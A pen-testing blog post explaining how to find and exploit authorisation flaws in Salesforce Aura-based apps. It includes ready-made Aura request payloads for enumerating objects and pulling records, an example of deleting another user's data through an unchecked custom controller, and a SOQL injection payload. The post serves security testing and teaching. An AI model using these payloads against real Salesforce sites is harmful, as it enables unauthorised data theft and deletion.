Pen-Testing Salesforce Apps: Part 2 (Fuzz & Exploit)
By: Praveen Kanniah
Tags: In Simple Words, Penetration Testing, Salesforce Security, Salesforce, Application Security

in simple words: For Pen-Testers and Security Researchers

This is a two-part blog on pen-testing Salesforce SAAS applications. Part-1 focusses on understanding the Salesforce basics and Part-2 focusses on the actual Pen-Test steps. Let’s begin.

Tools - We will be using Burp terminologies to identify vulnerabilities and exploit them, this could be replicated via any HTTP Request/Response Interceptor took like OWASP ZAP too.

Improper Authorisation - Steps Involved

Pre-Check Recon Fuzzing Retrieving Sensitive Information

1. Pre-Check

The applications needs to use one of Salesforce programming technologies like Aura components for it to be vulnerable to “Improper Authorisation”. So lets first check if Aura is enabled.

Browse the application via Burp browser and check the HTTP History, if one of these Aura paths are visible, then there is a possibility for an Improper Authorisation vulnerability.

AURA PATHS: /s/sfsites/aura

/aura

/sfsites/aura

If not, in Repeater, make a POST request by adding the above paths immediately after the host and check the response, you should see one of these below patterns. If no luck, check by appending these paths to the identified branches too, like https://redacted.force.com/sales/aura instead of https://redacted.force.com/aura

RESPONSE PATTERNS: "actions":[

or

aura:clientOutOfSync

or

aura:invalidSession

This should confirm that the Salesforce web application is using Aura.

2. Recon

If you remember at the end of Part 1, our goal was to identify objects, controllers, actions and params, then fuzz them. Let’s look at identifying them one by one.

Standard Objects - You can find the entire list of standard objects provided by Salesforce below.

Now copy them to a text file, let’s call this objects.txt, we will use this later to fuzz requests.

Custom Objects - To differentiate Custom objects, there is no hard and fast rule, but the Salesforce standard asks you to add a “__c” at the end of a custom object name. We can retrieve custom objects using the “getObjectInfo” and “getHostConfig” controller action. We will see it in the fuzzing section. Once you get them add it to the objects.txt list.

Standard Controllers and Actions - There are a couple of JS files that gets loaded as part of any Salesforce web application and contains information about the standard controllers, actions and sometimes custom controllers too.

app.js aura_prod.js

Grep for the below pattern in the response of these JS files.

PATTERN GREP: componentService.initControllerDefs([{

All important controllers will be listed under this. This is a standard pattern for a controller.

Controllers and Action in JS files

You can have them copied to a text file or use these controllers as and when required.

Custom Controllers and Actions - Custom controllers should be available in the JS files too or sometimes you might find them in the HTTP request as you browse the application via Burp browser. You must be curious how does one differentiate between a standard controller and a customer controller. One option could be since custom controllers are developed, their path can start with “apex:// instead of “aura://

STANDARD CONTROLLER: aura://RecordUiController/ACTION$getObjectInfo CUSTOM CONTROLLER: apex://New_Sales_Controller/ACTION$getSalesData

Fuzzing to understand backend permissions

I have created a list of controllers and actions that you can help you figure out certain information, well more of metadata.

Burp Steps

Send any POST with an Aura endpoint to Repeater Replace the “message” parameter in your request with the below options. Send it to Intruder Choose *** in the params (objectApiName, entityNameOrId) as the position in Intruder Let “payload type” remain as Simple List Upload the objects.txt file or paste the objects list in “payload options” and run it for all objects whenever possible

Note - You can fuzz them both as a guest user and as different authenticated users to understand permissions

getObjectInfo - Understand if the user has access to the object or not. It will not return any informative response if the user does not have access. If accessible, this will return information about an object and its corresponding fields. Watch out for “__c” in the response from each object to make note of the custom objects. Run this for all objects in Intruder using objects.txt.

{"actions":[{"id":"1;a","descriptor":"aura://RecordUiController/ACTION$getObjectInfo","callingDescriptor":"UHNKNOWN","params":{"objectApiName":"***"}}]}

getConfigData - returns a list of objects. Watch out for “__c” to make note of the custom objects.

{"actions":[{"id":"1;a","descriptor":"aura://HostConfigController/ACTION$getConfigData","callingDescriptor":"UHNKNOWN","params":{}}]}

getListByObjectName - returns the lists created for an object in the UI. Run this for all objects in Intruder using objects.txt

{"actions":[{"id":"1;a","descriptor":"aura://ListUiController/ACTION$getListsByObjectName","callingDescriptor":"UHNKNOWN","params":{"objectApiName":"***"}}]}

Now you must have enough information about objects, controllers and their metadata. Let’s look at getting some actual records.

Retrieving Sensitive Information

Retrieving actual data or records is not going to be very different from how we retrieve metadata, we would be using a controller and action for the same as well. For better understanding, let’s map the permission misconfiguration to the exploitation techniques.

Misconfiguration 1 - Messing with Org. wide sharing defaults and setting up wide Sharing Rules

If the admin messed up with the sharing permissions via admin panel, then using standard controllers like this, you should be able to retrieve records.

getItems - retrieves records for a given object corresponding to a user, but if record permissions are misconfigured, this can retrieve records of an entire object. Run this for all objects in Intruder using objects.txt.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"***","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

getRecord - retrieves record based on a record id. This mostly works for an authenticated user. If in any of the controller response, you find “id”: , try the value against the below controller and action. Replace the *** for recordId value in the below.

An Id generally looks like this - “Id”:”0099g000001mWQaYHU”

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","callingDescriptor":"UNKNOWN","params":{"recordId":"***","record":null,"inContextOfComponent":"","mode":"VIEW","layoutType":"FULL","defaultFieldValues":null,"navigationLocation":"LIST_VIEW_ROW"}}]}

Misconfiguration 2 - Creating Custom Controllers without proper sanitisation

Let’s assume that a developer created a couple of custom controllers to pull sales data from a custom object salesdata__c apex://New_Sales_Controller/ACTION$getSalesData, this retrieves sales data of all users and another controller to delete sales data baesd on Id apex://New_Sales_Controller/ACTION$deleteSalesDataById

getSalesData {"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$getSalesData","callingDescriptor":"UNKNOWN","params":{}}]} deleteSalesDataById {"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$deleteSalesDataById","callingDescriptor":"UNKNOWN","params":{"id":"***"}}]}

Assume the actual permissions work this way, getSalesData is viewable by all users and deleteSalesDataById can only be used to delete the current user’s sales data. But the developer misses to sanitise deleteSalesDataById.

Running the getSalesData returns the below response:

{

"actions":[

{

"id":"123;a",

"state":"SUCCESS",

"returnValue":{

"result":[

{

"record":{

"Name":"User1",

"Company Name":"Company1",

"email":"User1@comapny1.com",

"Year":"2020",

"Sales":"5725",

"Id":"0099g000001mWQsVSK",

}

},

{

"record":{

"Name":"User2",

"Company Name":"Company2",

"email":"User2@comapny2.com",

"Year":"2020",

"Sales":"5725",

"Id":"0099g000001mWQaYHU",

}

}

Assuming that the current user is user1, let’s try to delete user2. This can be done by copying the “Id” parameter of User from the above response and pasting it in the deleteSalesDataById

deleteSalesDataById {"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$deleteSalesDataById","callingDescriptor":"UNKNOWN","params":{"id":"0099g000001mWQaYHU"}}]}

Since this is a custom controller and proper sanitisation checks were not in place, user1 can delete the sales data of user2.

In short, finding the right controller and action is the key to retrieving records.

SOQL Injection

This is very similar to the traditional SQL Injection, except that:

SOQL allows only SELECT statements, no INSERT, UPDATE or DELETE

Also, no UNION, JOIN operators or any command execution.

Are you thinking, is there really anything to exploit after all this restrictions ?

Of course, yes, if the backend code accepts user input inside a query without proper validation, one can change the SELECT query to fetch more data. Let’s take an example from Salesforce.

USER INPUT

name=bob VULNERABLE QUERY

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

An important thing to note from the above query apart from the fact that the user input is directly inserted into the query is that, SOQL supports wildcard characters using LIKE. Here, the Contact table will be searched for everything that contains the word ‘bob.’ Now, let’s inject a payload.

USER INPUT

name: test%') OR (Name LIKE ' VULNERABLE QUERY

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

This returns all contacts. You could ask, if our ultimate goal is to end up with LIKE ‘%’, why cant we have just given a single quote. Good question, In SQL Injection after performing an injection you would just comment out using a ‘ — ’ right ? In SOQL there is no way to add a comment, so we need to address the %’ that exists as part of the original query. Hence the additional OR and end it with a single quote just as we thought.

I hope you enjoyed reading the blog :) Good Day !

References